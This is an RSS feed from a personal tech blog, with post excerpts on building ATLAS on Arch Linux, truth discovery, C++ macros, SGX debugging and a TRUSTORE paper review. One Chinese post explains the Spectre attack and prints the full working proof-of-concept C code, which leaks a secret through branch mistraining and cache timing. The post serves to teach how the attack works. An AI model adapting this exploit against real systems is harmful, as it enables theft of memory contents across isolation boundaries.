<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>Home on Xiangyi&#39;s Blog</title>
    <link>https://example.org/</link>
    <description>Recent content in Home on Xiangyi&#39;s Blog</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <lastBuildDate>Thu, 18 Nov 2021 16:17:06 +0800</lastBuildDate>
    <atom:link href="https://example.org/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title>Build ATLAS under Arch Linux</title>
      <link>https://example.org/posts/build-atlas-under-arch-linux/</link>
      <pubDate>Thu, 18 Nov 2021 16:17:06 +0800</pubDate>
      <guid>https://example.org/posts/build-atlas-under-arch-linux/</guid>
      <description>&lt;p&gt;Orginal post: &lt;a href=&#34;https://aur.archlinux.org/packages/atlas-lapack/?O=10&amp;amp;PP=20#comment-599526&#34;&gt;https://aur.archlinux.org/packages/atlas-lapack/?O=10&amp;amp;PP=20#comment-599526&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Hey I just installed, and make these notes, that might be useful for somebody else:&#xA;Good explanation in atlas site: &lt;a href=&#34;http://math-atlas.sourceforge.net/atlas_install/node5.html&#34;&gt;http://math-atlas.sourceforge.net/atlas_install/node5.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Follow this, the governor set by cpupower knows shit about CPU without this: &lt;a href=&#34;http://unix.stackexchange.com/questions/121410/setting-cpu-governor-to-on-demand-or-conservative&#34;&gt;http://unix.stackexchange.com/questions/121410/setting-cpu-governor-to-on-demand-or-conservative&lt;/a&gt;&#xA;Summary: &lt;a href=&#34;http://vincent.jousse.org/tech/archlinux-compile-lapack-atlas-kaldi/&#34;&gt;http://vincent.jousse.org/tech/archlinux-compile-lapack-atlas-kaldi/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;===========Steps===========&lt;br&gt;&#xA;Permanent disable intel_pstate:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ vi /etc/default/grub  &#xA;GRUB_CMDLINE_LINUX_DEFAULT=&amp;quot;intel_pstate=disable&amp;quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and update grub:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;$ grub-mkconfig -o /boot/grub/grub.cfg  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And then enable acpi-cpufreq module:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;su root&#xA;echo &amp;quot;acpi-cpufreq&amp;quot; &amp;gt; /etc/modules-load.d/acpi-cpufreq.conf&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;restart.&lt;/p&gt;&#xA;&lt;p&gt;Now cpupower can set frequencies properly.&lt;/p&gt;</description>
    </item>
    <item>
      <title>TextTruth KDD18 Summary</title>
      <link>https://example.org/posts/texttruth-kdd18/</link>
      <pubDate>Tue, 09 Nov 2021 15:35:06 +0800</pubDate>
      <guid>https://example.org/posts/texttruth-kdd18/</guid>
      <description>&lt;p&gt;Source paper: &lt;a href=&#34;https://doi.org/10.1145/3219819.3219977&#34;&gt;TextTruth: An Unsupervised Approach to Discover Trustworthy Information from Multi-Sourced Text Data&lt;/a&gt; (KDD 18&#39;)&lt;/p&gt;&#xA;&lt;h2 id=&#34;fundamental-principles-of-truth-discovery&#34;&gt;Fundamental Principles of Truth Discovery&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If a user provides much trustworthy information or true answers, his/her reliability is high&lt;/li&gt;&#xA;&lt;li&gt;If an answer is supported by many reliable users, this answer is more likely to be true&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;challenges-in-text-data&#34;&gt;Challenges in text data&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Unstructured and noisy&lt;/li&gt;&#xA;&lt;li&gt;For a &lt;em&gt;factoid question&lt;/em&gt;&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;, the answer may be &lt;em&gt;multifactorial&lt;/em&gt; and it&amp;rsquo;s usually hard for a given text answer to cover all the factors. Such circumstance lead to the so-called &lt;em&gt;partially correct&lt;/em&gt; phenomenon&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Diversity of word usages&lt;/em&gt;. For example, one can use words such as &lt;em&gt;tired&lt;/em&gt; or &lt;em&gt;exhausted&lt;/em&gt; to describe the symptom of &lt;em&gt;fatigue&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;keywords-and-factors&#34;&gt;Keywords and Factors&lt;/h2&gt;&#xA;&lt;p&gt;Take question &amp;ldquo;What are the symptoms of flu?&amp;rdquo; as a simple example. It may have several answers, say &amp;ldquo;&lt;em&gt;One may feel very cold and exhausted&lt;/em&gt;&amp;rdquo;. From answers like the given one, we can extract some &lt;strong&gt;keywords&lt;/strong&gt; like: &amp;ldquo;&lt;em&gt;freezing&lt;/em&gt;&amp;rdquo;, &amp;ldquo;&lt;em&gt;cold&lt;/em&gt;&amp;rdquo;, &amp;ldquo;&lt;em&gt;tired&lt;/em&gt;&amp;rdquo;, &amp;ldquo;&lt;em&gt;exhausted&lt;/em&gt;&amp;rdquo;, &amp;ldquo;&lt;em&gt;running nose&lt;/em&gt;&amp;rdquo; and &amp;ldquo;&lt;em&gt;congestion&lt;/em&gt;&amp;rdquo;. In those answers, it is obvious that some different keywords represent same meaning, here we call the meaning &lt;strong&gt;factor&lt;/strong&gt;, e.g., &amp;ldquo;&lt;em&gt;cold&lt;/em&gt;&amp;rdquo; and &amp;ldquo;&lt;em&gt;freezing&lt;/em&gt;&amp;rdquo; belong to the factor &amp;ldquo;&lt;em&gt;chills&lt;/em&gt;&amp;rdquo;, and, &amp;ldquo;&lt;em&gt;tired&lt;/em&gt;&amp;rdquo;, together with &amp;ldquo;&lt;em&gt;exhausted&lt;/em&gt;&amp;rdquo;, belong to the factor &amp;ldquo;&lt;em&gt;fatigue&lt;/em&gt;&amp;rdquo;.&lt;/p&gt;</description>
    </item>
    <item>
      <title>C&#43;&#43;的两个预处理宏特性</title>
      <link>https://example.org/posts/c&#43;&#43;%E7%9A%84%E4%B8%A4%E4%B8%AA%E9%A2%84%E5%A4%84%E7%90%86%E5%AE%8F%E7%89%B9%E6%80%A7/</link>
      <pubDate>Tue, 06 Jul 2021 22:20:36 +0800</pubDate>
      <guid>https://example.org/posts/c&#43;&#43;%E7%9A%84%E4%B8%A4%E4%B8%AA%E9%A2%84%E5%A4%84%E7%90%86%E5%AE%8F%E7%89%B9%E6%80%A7/</guid>
      <description>&lt;p&gt;今天多次在开源项目SerenityOS中见到两个以前很少见的与字符串相关的C++预处理特性，故记录如下（之前应该也遇到过，但印象不是很深，希望这次能够牢记）&lt;/p&gt;&#xA;&lt;p&gt;首先看这段代码&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-cpp&#34;&gt;#define ENUMERATE_SYSCALLS(S)     \&#xA;    S(yield)                      \&#xA;    S(open)                       \&#xA;    S(close)                      \&#xA;    S(read)                       \&#xA;    S(lseek)                      \&#xA;    S(kill)                       &#xA;    /* remaining syscalls omitted... */ &#xA;    &#xA;namespace Syscall {&#xA;&#xA;enum Function {&#xA;#undef __ENUMERATE_SYSCALL&#xA;#define __ENUMERATE_SYSCALL(x) SC_##x,&#xA;    ENUMERATE_SYSCALLS(__ENUMERATE_SYSCALL)&#xA;#undef __ENUMERATE_SYSCALL&#xA;        __Count&#xA;};&#xA;&#xA;constexpr const char* to_string(Function function)&#xA;{&#xA;    switch (function) {&#xA;#undef __ENUMERATE_SYSCALL&#xA;#define __ENUMERATE_SYSCALL(x) \&#xA;    case SC_##x:               \&#xA;        return #x;&#xA;        ENUMERATE_SYSCALLS(__ENUMERATE_SYSCALL)&#xA;#undef __ENUMERATE_SYSCALL&#xA;    default:&#xA;        break;&#xA;    }&#xA;    return &amp;quot;Unknown&amp;quot;;&#xA;}&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;这段代码乍一看很容易理解，第一个宏&lt;code&gt;ENUMERATE_SYSCALLS(S)&lt;/code&gt;展开为一系列的&lt;code&gt;S(系统调用名)&lt;/code&gt;，至于其具体含义暂且不论。但第二个宏非常令人费解，什么是&lt;code&gt;SC_##x&lt;/code&gt;呢？&#xA;如果忽视这个问题继续分析这个宏定义，那么它的展开则非常简单，就是&lt;code&gt;SC_##x,&lt;/code&gt;。下一行用到了第一个宏，将&lt;code&gt;S&lt;/code&gt;替换为&lt;code&gt;__ENUMERATE_SYSCALL&lt;/code&gt;。&#xA;因此，这个宏的展开就是一系列的&lt;code&gt;__ENUMERATE_SYSCALL(系统调用名)&lt;/code&gt;，再展开一次，就变成一系列的&lt;code&gt;SC_##系统调用名&lt;/code&gt;。再结合外面的枚举定义的语句来看，这段代码定义了一系列的系统调用的枚举。&#xA;但转念一想，C++规定其标识符不可以出现除了_（某些编译器还支持$）之外的特殊符号。所以如果简单的展开为&lt;code&gt;SC_##open&lt;/code&gt;肯定是不对的。&lt;/p&gt;</description>
    </item>
    <item>
      <title>Enable SGX Debugging in VS Code</title>
      <link>https://example.org/posts/enable-sgx-debugging-in-vs-code/</link>
      <pubDate>Fri, 04 Jun 2021 17:43:36 +0800</pubDate>
      <guid>https://example.org/posts/enable-sgx-debugging-in-vs-code/</guid>
      <description>&lt;p&gt;Intel has provided &lt;code&gt;sgx-gdb&lt;/code&gt; for conveniently debugging SGX applications. However, it can only be interacted via terminal, which may be a little bit hard for beginners. This article introduces how to debug SGX applications in VS Code.&lt;/p&gt;&#xA;&lt;h2 id=&#34;prerequisites&#34;&gt;Prerequisites&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;An SGX-compatible Linux system&lt;/li&gt;&#xA;&lt;li&gt;Visual Studio Code&lt;/li&gt;&#xA;&lt;li&gt;Fully SGX environment (with debug symbol installed, if not please follow &lt;a href=&#34;https://github.com/intel/linux-sgx#build-the-intelr-sgx-psw-and-intelr-sgx-psw-installer&#34;&gt;this&lt;/a&gt; instruction)&lt;/li&gt;&#xA;&lt;li&gt;VS Code Extension: &lt;code&gt;Native Debug&lt;/code&gt; installed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h2 id=&#34;steps&#34;&gt;Steps&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Open the SGX project folder with your VS Code, and click the following icon in the left sidebar (or press Ctrl+Shift+D) to open RUN AND DEBUG window.&lt;/li&gt;&#xA;&lt;li&gt;Add a new configuration, and then an &lt;code&gt;launch.json&lt;/code&gt; file will be opened.&lt;/li&gt;&#xA;&lt;li&gt;Copy the following lines to the file:&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-JSON&#34;&gt;{&#xA;    // Use IntelliSense to learn about possible attributes.&#xA;    // Hover to view descriptions of existing attributes.&#xA;    // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387&#xA;    &amp;quot;version&amp;quot;: &amp;quot;0.2.0&amp;quot;,&#xA;    &amp;quot;configurations&amp;quot;: [&#xA;        {&#xA;            &amp;quot;name&amp;quot;: &amp;quot;(sgx) Debug&amp;quot;,&#xA;            &amp;quot;type&amp;quot;: &amp;quot;gdb&amp;quot;,&#xA;            &amp;quot;request&amp;quot;: &amp;quot;launch&amp;quot;,&#xA;            &amp;quot;target&amp;quot;: &amp;quot;app&amp;quot;,&#xA;            &amp;quot;cwd&amp;quot;: &amp;quot;${workspaceRoot}/&amp;quot;,&#xA;            &amp;quot;valuesFormatting&amp;quot;: &amp;quot;parseText&amp;quot;,&#xA;            &amp;quot;gdbpath&amp;quot;: &amp;quot;sgx-gdb&amp;quot;&#xA;        }&#xA;    ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This configuration assumes that your executable file is named as &lt;code&gt;app&lt;/code&gt; and at the root directory of your project. If not, please modify the &lt;code&gt;cwd&lt;/code&gt; (current working directory) and &lt;code&gt;target&lt;/code&gt; (executable binary) values.&lt;/p&gt;</description>
    </item>
    <item>
      <title>Spectre Attack POC代码分析</title>
      <link>https://example.org/posts/spectre-attack-poc-%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/</link>
      <pubDate>Thu, 03 Jun 2021 20:24:36 +0800</pubDate>
      <guid>https://example.org/posts/spectre-attack-poc-%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90/</guid>
      <description>&lt;blockquote&gt;&#xA;&lt;p&gt;Ref.: &lt;a href=&#34;https://spectreattack.com/spectre.pdf&#34;&gt;Spectre Attacks: Exploiting Speculative Execution&lt;/a&gt;&lt;/p&gt;&lt;/blockquote&gt;&#xA;&lt;p&gt;最近看到Spectre Attack（幽灵攻击），这是一个利用CPU乱序执行的漏洞而进行的攻击。虽说此漏洞早在18年初就已经被发现并公布，但这种基于Cache Timing的攻击方式仍然十分具有借鉴意义，特此撰文介绍该漏洞的原理以及具体POC的实现。&lt;/p&gt;&#xA;&lt;h2 id=&#34;原理&#34;&gt;原理&lt;/h2&gt;&#xA;&lt;p&gt;大家都知道，现代CPU为了加快指令执行的整套流程引入了很多机制，从最初的流水线机制，到后面为了解决指令执行周期不一致引发的流水线停车问题而引入的推测执行、分支预测以及乱序执行机制等，这些机制无一例外的加快了CPU的效率，但效率总是伴随着一定的代价，这些复杂的机制也不可避免地引入了许许多多潜在的安全问题，幽灵攻击既是其中之一。通常，分支的最终目标指令都取决于前序指令所计算出的某个内存中的值，CPU为了加快执行效率，会试图推测该目标指令并提前执行该指令，然后将结果暂存。当该值可用时，CPU会根据该值选择销毁或者提交推测运行的结果。很遗憾，推测逻辑并不可靠，因为这会使得CPU访问一些本不应该被访问到内存区域和寄存器，并将部分内容（很可能是一些敏感信息）留在缓存内，从而引入一些可观测的副作用（通过侧信道）。&lt;/p&gt;&#xA;&lt;h2 id=&#34;如何攻击&#34;&gt;如何攻击？&lt;/h2&gt;&#xA;&lt;p&gt;在原理中，我们讲到了通过推测执行以及侧信道来获取本不应该被访问的内存区域的内容。实现这一目标的前提是，&lt;strong&gt;让CPU预测式地执行错误的分支&lt;/strong&gt;，这需要我们精心设计方法来引导CPU以及受害者去进行这一推测执行，这一步骤可以被称为训练步骤，通常，我们可以通过操纵缓存状态从而移除CPU所需的决定实际控制流的数据来实现这一目标（下文中结合代码详细解释）。接下来，便可以通过预测执行的方式，让CPU读取特定的内容，从而利用侧信道，根据访问时间的不同来判断cache命中与否，进而推断出内存中的内容。接下来，我们以一段很简单的条件分支代码为例，具体描述整个流程：&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-C&#34;&gt;if (x &amp;lt; array1_size)&#xA;    y = array2[array1[x] * 4096];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;考虑上述代码段为一个函数中的一部分，其接受从非可信源输入的无符号整数&lt;code&gt;x&lt;/code&gt;，运行这段代码的进程可以访问大小为&lt;code&gt;array1_size&lt;/code&gt;的无符号字节数组&lt;code&gt;array1&lt;/code&gt;以及大小为1MB的字节数组&lt;code&gt;array2&lt;/code&gt;。这段代码首先对x进行边界检查，来防止对&lt;code&gt;array1&lt;/code&gt;的访问出现越界情况。否则，一个越界的访问可能会触发异常，或者导致某些不可访问的敏感区域被访问到（通过提供&lt;code&gt;x = (待读取秘密字节的地址) − (array1的基址)&lt;/code&gt;）。下表列出了几种不同的预测和实际情况组合所导致的结果，其中列代表实际结果，行代表预测结果。&lt;/p&gt;&#xA;&lt;table&gt;&#xA;  &lt;thead&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;th&gt;结果&lt;/th&gt;&#xA;          &lt;th&gt;对&lt;/th&gt;&#xA;          &lt;th&gt;错&lt;/th&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/thead&gt;&#xA;  &lt;tbody&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;对&lt;/td&gt;&#xA;          &lt;td&gt;高速&lt;/td&gt;&#xA;          &lt;td&gt;低速&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;      &lt;tr&gt;&#xA;          &lt;td&gt;错&lt;/td&gt;&#xA;          &lt;td&gt;泄露&lt;/td&gt;&#xA;          &lt;td&gt;高速&lt;/td&gt;&#xA;      &lt;/tr&gt;&#xA;  &lt;/tbody&gt;&#xA;&lt;/table&gt;&#xA;&lt;p&gt;可以发现，假如实际结果为错但预测结果为对时，就会招致信息泄露，其原因为何呢？让我们来假定实际情况满足以下前提：&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;恶意选取一个越界的值赋予&lt;code&gt;x&lt;/code&gt;，使得&lt;code&gt;array1[x]&lt;/code&gt;表示一个受害者的敏感信息字节&lt;code&gt;k&lt;/code&gt;；&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;array1_size&lt;/code&gt;和&lt;code&gt;array2&lt;/code&gt;没有被缓存，但&lt;code&gt;k&lt;/code&gt;被缓存了；&lt;/li&gt;&#xA;&lt;li&gt;如果前序操作处理的&lt;code&gt;x&lt;/code&gt;被判作有效，那么分支预测器会将推断下一次的条件判断也为真&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;当上面编译的代码运行时，处理器首先将&lt;code&gt;x&lt;/code&gt;的恶意值与&lt;code&gt;array1_size&lt;/code&gt;进行比较。读取&lt;code&gt;array1_size&lt;/code&gt;会导致缓存未命中，并且处理器将会等待较长时间直到其从DRAM被加载到寄存器中。特别地，如果分支条件或分支前某处的指令需要等待未缓存的操作数，则该分支结果的确定可能需要一些时间。同时，分支预测器假设结果为真。因此，推测执行逻辑将&lt;code&gt;x&lt;/code&gt;与&lt;code&gt;array1&lt;/code&gt;的基址相加，并从内存中请求结果地址处的数据。这次读取将会命中缓存（上文中假设&lt;code&gt;k&lt;/code&gt;被缓存），并快速返回敏感信息字节&lt;code&gt;k&lt;/code&gt;的值。推测执行逻辑然后使用 k 来计算 array2[k * 4096] 的地址。然后它发送一个请求从内存中读取这个地址（导致缓存未命中）。虽然从 &lt;code&gt;array2&lt;/code&gt; 的读取已经在进行中，但分支结果也可能在其间被确定。此时，处理器意识到其推测执行选择是错误的，因此，回滚其寄存器状态。但是，对&lt;code&gt;array2&lt;/code&gt;的预测读取以特定于地址的方式影响缓存状态，其地址取决于&lt;code&gt;k&lt;/code&gt;。 为了完成攻击，我们可以通过Flush+Reload或Prime+Probe等基于缓存的侧信道攻击来观测&lt;code&gt;array2&lt;/code&gt;的哪个位置被载入了缓存。这将会揭露&lt;code&gt;k&lt;/code&gt;的值，因为受害者的推测执行缓存了&lt;code&gt;array2[k*4096]&lt;/code&gt;。当然，通过Evict+Time这一方法也可以实现同样的目标。&lt;/p&gt;&#xA;&lt;h2 id=&#34;poc代码实现&#34;&gt;PoC代码实现&lt;/h2&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-C&#34;&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;stdlib.h&amp;gt;&#xA;#include &amp;lt;stdint.h&amp;gt;&#xA;#ifdef _MSC_VER&#xA;#include &amp;lt;intrin.h&amp;gt;        /* for rdtscp and clflush */&#xA;#pragma optimize(&amp;quot;gt&amp;quot;,on)&#xA;#else&#xA;#include &amp;lt;x86intrin.h&amp;gt;     /* for rdtscp and clflush */&#xA;#endif&#xA;&#xA;/********************************************************************&#xA;Victim code.&#xA;********************************************************************/&#xA;unsigned int array1_size = 16;&#xA;uint8_t unused1[64];&#xA;uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};&#xA;uint8_t unused2[64]; &#xA;uint8_t array2[256 * 512];&#xA;&#xA;char *secret = &amp;quot;The Magic Words are Squeamish Ossifrage.&amp;quot;;&#xA;&#xA;uint8_t temp = 0;  /* Used so compiler won&#39;t optimize out victim_function() */&#xA;&#xA;void victim_function(size_t x) {&#xA;&#x9;if (x &amp;lt; array1_size) {&#xA;&#x9;&#x9;temp &amp;amp;= array2[array1[x] * 512];&#xA;&#x9;}&#xA;}&#xA;&#xA;&#xA;/********************************************************************&#xA;Analysis code&#xA;********************************************************************/&#xA;#define CACHE_HIT_THRESHOLD (80)  /* assume cache hit if time &amp;lt;= threshold */&#xA;&#xA;/* Report best guess in value[0] and runner-up in value[1] */&#xA;void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2]) {&#xA;&#x9;static int results[256];&#xA;&#x9;int tries, i, j, k, mix_i, junk = 0;&#xA;&#x9;size_t training_x, x;&#xA;&#x9;register uint64_t time1, time2;&#xA;&#x9;volatile uint8_t *addr;&#xA;&#xA;&#x9;for (i = 0; i &amp;lt; 256; i++)&#xA;&#x9;&#x9;results[i] = 0;&#xA;&#x9;for (tries = 999; tries &amp;gt; 0; tries--) {&#xA;&#xA;&#x9;&#x9;/* Flush array2[256*(0..255)] from cache */&#xA;&#x9;&#x9;for (i = 0; i &amp;lt; 256; i++)&#xA;&#x9;&#x9;&#x9;_mm_clflush(&amp;amp;array2[i * 512]);  /* intrinsic for clflush instruction */&#xA;&#xA;&#x9;&#x9;/* 30 loops: 5 training runs (x=training_x) per attack run (x=malicious_x) */&#xA;&#x9;&#x9;training_x = tries % array1_size;&#xA;&#x9;&#x9;for (j = 29; j &amp;gt;= 0; j--) {&#xA;&#x9;&#x9;&#x9;_mm_clflush(&amp;amp;array1_size);&#xA;&#x9;&#x9;&#x9;for (volatile int z = 0; z &amp;lt; 100; z++) {}  /* Delay (can also mfence) */&#xA;&#xA;&#x9;&#x9;&#x9;/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */&#xA;&#x9;&#x9;&#x9;/* Avoid jumps in case those tip off the branch predictor */&#xA;&#x9;&#x9;&#x9;x = ((j % 6) - 1) &amp;amp; ~0xFFFF;   /* Set x=FFF.FF0000 if j%6==0, else x=0 */&#xA;&#x9;&#x9;&#x9;x = (x | (x &amp;gt;&amp;gt; 16));           /* Set x=-1 if j&amp;amp;6=0, else x=0 */&#xA;&#x9;&#x9;&#x9;x = training_x ^ (x &amp;amp; (malicious_x ^ training_x));&#xA;&#x9;&#x9;&#x9;&#xA;&#x9;&#x9;&#x9;/* Call the victim! */&#xA;&#x9;&#x9;&#x9;victim_function(x);&#xA;&#x9;&#x9;}&#xA;&#xA;&#x9;&#x9;/* Time reads. Order is lightly mixed up to prevent stride prediction */&#xA;&#x9;&#x9;for (i = 0; i &amp;lt; 256; i++) {&#xA;&#x9;&#x9;&#x9;mix_i = ((i * 167) + 13) &amp;amp; 255;&#xA;&#x9;&#x9;&#x9;addr = &amp;amp;array2[mix_i * 512];&#xA;&#x9;&#x9;&#x9;time1 = __rdtscp(&amp;amp;junk);            /* READ TIMER */&#xA;&#x9;&#x9;&#x9;junk = *addr;                       /* MEMORY ACCESS TO TIME */&#xA;&#x9;&#x9;&#x9;time2 = __rdtscp(&amp;amp;junk) - time1;    /* READ TIMER &amp;amp; COMPUTE ELAPSED TIME */&#xA;&#x9;&#x9;&#x9;if (time2 &amp;lt;= CACHE_HIT_THRESHOLD &amp;amp;&amp;amp; mix_i != array1[tries % array1_size])&#xA;&#x9;&#x9;&#x9;&#x9;results[mix_i]++;  /* cache hit - add +1 to score for this value */&#xA;&#x9;&#x9;}&#xA;&#xA;&#x9;&#x9;/* Locate highest &amp;amp; second-highest results results tallies in j/k */&#xA;&#x9;&#x9;j = k = -1;&#xA;&#x9;&#x9;for (i = 0; i &amp;lt; 256; i++) {&#xA;&#x9;&#x9;&#x9;if (j &amp;lt; 0 || results[i] &amp;gt;= results[j]) {&#xA;&#x9;&#x9;&#x9;&#x9;k = j;&#xA;&#x9;&#x9;&#x9;&#x9;j = i;&#xA;&#x9;&#x9;&#x9;} else if (k &amp;lt; 0 || results[i] &amp;gt;= results[k]) {&#xA;&#x9;&#x9;&#x9;&#x9;k = i;&#xA;&#x9;&#x9;&#x9;}&#xA;&#x9;&#x9;}&#xA;&#x9;&#x9;if (results[j] &amp;gt;= (2 * results[k] + 5) || (results[j] == 2 &amp;amp;&amp;amp; results[k] == 0))&#xA;&#x9;&#x9;&#x9;break;  /* Clear success if best is &amp;gt; 2*runner-up + 5 or 2/0) */&#xA;&#x9;}&#xA;&#x9;results[0] ^= junk;  /* use junk so code above won&#39;t get optimized out*/&#xA;&#x9;value[0] = (uint8_t)j;&#xA;&#x9;score[0] = results[j];&#xA;&#x9;value[1] = (uint8_t)k;&#xA;&#x9;score[1] = results[k];&#xA;}&#xA;&#xA;int main(int argc, const char **argv) {&#xA;&#x9;size_t malicious_x=(size_t)(secret-(char*)array1);   /* default for malicious_x */&#xA;&#x9;int i, score[2], len=40;&#xA;&#x9;uint8_t value[2];&#xA;&#xA;&#x9;for (i = 0; i &amp;lt; sizeof(array2); i++)&#xA;&#x9;&#x9;array2[i] = 1;    /* write to array2 so in RAM not copy-on-write zero pages */&#xA;&#x9;if (argc == 3) {&#xA;&#x9;&#x9;sscanf(argv[1], &amp;quot;%p&amp;quot;, (void**)(&amp;amp;malicious_x));&#xA;&#x9;&#x9;malicious_x -= (size_t)array1;  /* Convert input value into a pointer */&#xA;&#x9;&#x9;sscanf(argv[2], &amp;quot;%d&amp;quot;, &amp;amp;len);&#xA;&#x9;}&#xA;&#x9;&#xA;&#x9;printf(&amp;quot;Reading %d bytes:\n&amp;quot;, len);&#xA;&#x9;while (--len &amp;gt;= 0) {&#xA;&#x9;&#x9;printf(&amp;quot;Reading at malicious_x = %p... &amp;quot;, (void*)malicious_x);&#xA;&#x9;&#x9;readMemoryByte(malicious_x++, value, score);&#xA;&#x9;&#x9;printf(&amp;quot;%s: &amp;quot;, (score[0] &amp;gt;= 2*score[1] ? &amp;quot;Success&amp;quot; : &amp;quot;Unclear&amp;quot;));&#xA;&#x9;&#x9;printf(&amp;quot;0x%02X=&#39;%c&#39; score=%d    &amp;quot;, value[0], &#xA;            (value[0] &amp;gt; 31 &amp;amp;&amp;amp; value[0] &amp;lt; 127 ? value[0] : &#39;?&#39;), score[0]);&#xA;&#x9;&#x9;if (score[1] &amp;gt; 0)&#xA;&#x9;&#x9;&#x9;printf(&amp;quot;(second best: 0x%02X score=%d)&amp;quot;, value[1], score[1]);&#xA;&#x9;&#x9;printf(&amp;quot;\n&amp;quot;);&#xA;&#x9;}&#xA;&#x9;return (0);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;h2 id=&#34;poc代码分析&#34;&gt;PoC代码分析&lt;/h2&gt;&#xA;&lt;p&gt;这是一个简单的PoC，其在同一进程内模拟窃取行为。我们想要窃取到的数据为：&lt;/p&gt;</description>
    </item>
    <item>
      <title>CCS20 TRUSTORE论文解读</title>
      <link>https://example.org/posts/ccs20-trustore%E8%AE%BA%E6%96%87%E8%A7%A3%E8%AF%BB/</link>
      <pubDate>Sun, 30 May 2021 17:06:36 +0800</pubDate>
      <guid>https://example.org/posts/ccs20-trustore%E8%AE%BA%E6%96%87%E8%A7%A3%E8%AF%BB/</guid>
      <description>&lt;h1 id=&#34;trustore-side-channel-resistant-storage-for-sgx-using-intel-hybrid-cpu-fpga&#34;&gt;TRUSTORE: Side-Channel Resistant Storage for SGX using Intel Hybrid CPU-FPGA&lt;/h1&gt;&#xA;&lt;p&gt;TRUSTORE发表于CCS20的Session 6C Side Channels上，是一篇针对于现有SGX技术很容易遭到Side Channel攻击这一问题来进行研究的文章，其中应用了FPGA，将可信区从SGX本身拓展到了FPGA，实现了一个可信的存储模块。&lt;/p&gt;&#xA;&lt;h2 id=&#34;摘要&#34;&gt;摘要&lt;/h2&gt;&#xA;&lt;p&gt;现有的SGX容易遭受到侧信道攻击（页错误、缓存、分支预测、推测式执行等），虽然ORAM技术从理论上保证了SGX可以免除侧信道的危害，但是其具有严重的性能问题。这篇文章介绍了一个新成果：TRUSTORE，利用FPGA这一外设，实现了一个可信的存储服务，并且保证该存储服务与侧信道完全隔绝。TRUSTORE主要解决了以下三个问题：&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;在不改变系统架构的前提下，将可信范围从SGX拓展到FPGA上；&lt;/li&gt;&#xA;&lt;li&gt;为SGX应用与FPGA之间提供一个可验证的安全连接通道；&lt;/li&gt;&#xA;&lt;li&gt;为SGX应用提供无缝的多重操作支持（怎样理解无缝？）。&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2 